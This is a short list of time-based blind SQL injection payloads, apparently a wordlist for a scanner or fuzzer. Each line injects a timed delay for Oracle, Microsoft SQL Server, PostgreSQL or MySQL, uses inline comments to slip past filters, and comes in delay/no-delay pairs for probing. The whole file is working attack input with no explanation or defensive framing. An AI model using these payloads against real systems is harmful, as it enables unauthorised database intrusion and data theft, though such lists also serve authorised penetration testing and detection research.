'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('t',3)='t

'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('f',0)='f

'and(select+1)>0waitfor/**/delay'0:0:3

'and(select+1)>0waitfor/**/delay'0:0:0

'/**/and(select'1'from/**/pg_sleep(3))::text>'0

'/**/and(select'1'from/**/pg_sleep(0))::text>'0

"and(select*from(select+sleep(3))a/**/union/**/select+1)="

"and(select*from(select+sleep(0))a/**/union/**/select+1)="

'and(select*from(select+sleep(3))a/**/union/**/select+1)='